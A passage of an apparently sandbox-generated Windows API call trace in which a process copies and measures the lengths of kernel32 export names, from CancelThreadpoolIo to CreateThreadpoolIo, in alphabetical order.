lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0148.255] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0148.255] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0148.255] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0148.255] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0148.255] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0148.255] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0148.255] lstrlenA (lpString="CHECKELEVATION") returned 14 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0148.256] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0148.256] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0148.256] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0148.256] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0148.256] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0148.256] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0148.256] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0148.256] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0148.256] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0148.256] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0148.256] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0148.256] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0148.256] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0148.256] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0148.256] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0148.256] lstrlenA (lpString="CLOSESTATE") returned 10 [0148.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0148.257] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0148.257] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0148.257] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0148.257] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0148.257] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0148.257] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0148.257] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0148.257] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0148.257] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0148.257] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0148.257] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0148.257] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0148.257] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0148.257] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0148.257] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0148.257] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0148.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0148.258] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0148.258] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0148.258] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0148.258] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0148.258] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0148.258] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0148.258] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0148.258] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0148.258] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0148.258] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0148.258] lstrlenA (lpString="COPYCONTEXT") returned 11 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0148.258] lstrlenA (lpString="COPYFILE2") returned 9 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0148.258] lstrlenA (lpString="COPYFILEA") returned 9 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0148.258] lstrlenA (lpString="COPYFILEEXA") returned 11 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0148.258] lstrlenA (lpString="COPYFILEEXW") returned 11 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0148.258] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0148.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0148.259] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0148.259] lstrlenA (lpString="COPYFILEW") returned 9 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0148.259] lstrlenA (lpString="COPYLZFILE") returned 10 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0148.259] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0148.259] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0148.259] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0148.259] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0148.259] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0148.259] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0148.259] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0148.259] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0148.259] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0148.259] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0148.259] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0148.259] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0148.259] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0148.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0148.260] lstrlenA (lpString="CREATEEVENTA") returned 12 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0148.260] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0148.260] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0148.260] lstrlenA (lpString="CREATEEVENTW") returned 12 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0148.260] lstrlenA (lpString="CREATEFIBER") returned 11 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0148.260] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0148.260] lstrlenA (lpString="CREATEFILE2") returned 11 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0148.260] lstrlenA (lpString="CREATEFILEA") returned 11 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0148.260] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0148.260] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0148.260] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0148.260] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0148.260] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0148.260] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0148.260] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0148.260] lstrlenA (lpString="CREATEFILEW") returned 11 [0148.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0148.261] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0148.261] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0148.261] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0148.261] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0148.261] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0148.261] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0148.261] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0148.261] lstrlenA (lpString="CREATEJOBSET") returned 12 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0148.261] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0148.261] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0148.261] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0148.261] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0148.261] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0148.261] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0148.261] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0148.261] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0148.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0148.262] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0148.262] lstrlenA (lpString="CREATEPIPE") returned 10 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0148.262] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0148.262] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0148.262] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0148.262] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0148.262] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0148.262] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0148.262] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0148.262] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0148.262] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0148.262] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0148.262] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0148.262] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0148.262] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0148.262] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0148.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0148.263] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0148.263] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0148.263] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0148.263] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0148.263] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0148.263] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0148.263] lstrlenA (lpString="CREATETHREAD") returned 12 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0148.263] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0148.263] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0148.263] lstrlenA 